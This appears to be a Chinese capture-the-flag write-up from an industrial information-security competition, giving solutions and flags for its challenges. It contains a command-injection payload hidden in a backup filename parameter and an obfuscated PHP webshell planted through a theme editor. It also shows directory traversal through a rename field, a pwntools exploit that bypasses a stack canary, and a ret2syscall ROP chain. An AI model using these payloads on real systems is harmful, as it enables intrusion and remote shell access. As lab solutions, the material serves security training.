第八届工业信息安全技能大赛复赛 信创安全挑战区部分
达梦数据库日志分析
flag{hello_haikou}
入侵流量监测
ftp流量,传输了flag.zip和youWant.txt
flag.zip带密码,youWant.txt内容base64解码得到
It is said that many people like to use date as passwords.
日期,那就纯数字爆破
20011212
解压得到flag
flag{WTNYWO1CYHDKN3PIOG}
国产办公软件漏洞利用
admin/123456进入后台
【通用设置】->【数据库】->【备份】处,可以利用【系统 MySQL Dump (Shell) 备份】进行任意文件写入
抓包,点击备份
filename参数存在漏洞,直接执行命令,发现flag在f12g.txt中,直接读取
%26echo%20"<?php%20highlight_file(__FILE__);echo(shell_exec('tac%20f12g.txt'));?>"%20>1.php%26
国产业务系统隐患排查
分析流量找到后台密码
hunterxhunter
登录后台
【设计】->【已安装主题】->【自定义】->【全部页面】->【页头】,可写入php代码
写入webshell
<?php // 使用时请删除此行, 连接密码: 1 ?>
<?php $blyL=create_function(base64_decode('JA==').str_rot13('f').base64_decode('bw==').chr(27795/255).base64_decode('ZQ=='),str_rot13('r').base64_decode('dg==').str_rot13('n').str_rot13('y').chr(0x4e70/0x1f6).chr(01022-0756).chr(0x98bc/0x154).chr(312-201).base64_decode('bQ==').chr(0x9ca1/0x18d).chr(036722/0602).chr(516-457));$blyL(base64_decode('NjE0M'.'jAzO0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200335/01671).base64_decode('OQ==').base64_decode('VA==').chr(01405-01257).''.''.chr(0x1bd-0x177).chr(0117754/0544).chr(0x70f8/0xf1).chr(0x238-0x1e0).chr(0511-0366).''.'k7MTg'.'0MjYw'.'OTs='.''));?>
有验证,需要写入这个txt文件
【设计】->【组件】->【素材库】处可上传素材,touch这个txt文件,文件中随便写点东西
上传
鼠标放上去点击编辑
此处可通过名称进目录穿越
需要到 /var/www/html/system/tmp/ymlg.txt
当前在 /var/www/html/www/data/source/default/default/ymlg.txt
修改名称为../../../../../../system/tmp/ymlg
保存成功得到
再回去点击我已创建,即可保存
蚁剑连接
权限不够直接读取flag,发现可以执行python
with open("/flag.txt", "r") as f:
print(f.read())
flag{901efe4582}
manager
C++菜单题
查看字符发现存在/bin/sh字符串,根据调用找到后门
继续阅读菜单发现case 6很有意思
有一个分数判定,当分数等于85.5进入一个函数
跟进发现函数存在溢出,存在canary,但是可以结合上面的后门函数利用c++异常处理机制,来绕过canary,还原一下栈空间,保持当前函数的返回地址不变,再写入backdoor就可以劫持到后门
from pwn import *
elf = ELF('./pwn')
#context.terminal = ['tmux','splitw']
context(log_level='debug',arch=elf.arch,os=elf.os)
# io = process('./pwn')
io = remote('10.10.200.22',54330)
libc = elf.libc
def debug():
gdb.attach(io,gdbscript="")
pause()
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sys():
return libcbase + next(libc.search(b'/bin/sh\x00')), libcbase + libc.sym['system']
r = lambda num : io.recv(num)
ru = lambda data : io.recvuntil(data)
rl = lambda : io.recvline()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sla = lambda data,pay : io.sendlineafter(data,pay)
uu64 = lambda size : u64(io.recv(size).ljust(8,b'\x00'))
uu32 = lambda size : u32(io.recv(size).ljust(4,b'\x00'))
itr = lambda : io.interactive()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
backdoor=0x40179A
bss = 0x60B1A0+0x200
sla(b'choice: ',str(1))
sla(b'ID: ',str(111))
sla(b'name: ',str(111))
sla(b'age: ',str(111))
sla(b'score: ',str(85.5))
sla(b'choice: ',str(6))
pay = b'a'*0x30+p64(bss)+p64(0x4017d5)+p64(0xdeadbeef)*0x5+p64(backdoor)
#debug()
sla(b'[!]Please exit the program', pay)
itr()
flag{cd2caa0ec5}
信息隐藏技术
在备注里
flag{70D49C5C}
数据库日志排查
简单看了一下是sql盲注的日志,查询了3个表的数据flag、iv、keyyy
neta跑
lag2:data~idkeyivflag~32e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811~test789@@@@@@@##abc123keyxyzzzzzdata~idkeyivflag~32e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811~test789@@@@@@@##abc123keyxyzzzzz
简单处理下,得到
flag:2e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811
iv:test789@@@@@@@##
keyyy:abc123keyxyzzzzz
解AES
flag{UN6B9PAOAF0ODOVJC}
snake
输入q发现有栈溢出,发现程序存在base64解密,
rax=0x00000000004005af
rdi=0x00000000004006a6
rsi=0x00000000004113f3
rdx=0x000000000044cb86
syscall=0x0000000000449d25
bin=0x493c9b
pay=b'a'*0x78+p64(rax)+p64(0x3b)+p64(rdi)+p64(bin)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
前面直接得两分输入q即可进入到栈溢出,然后直接ret2syscall即可获取shell
payloadbae64加密一下
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhrwVAAAAAAAA7AAAAAAAAAKYGQAAAAAAAmzxJAAAAAADzE0EAAAAAAAAAAAAAAAAAhstEAAAAAAAAAAAAAAAAACWdRAAAAAAAYWFhYWFhYQ==
cat flag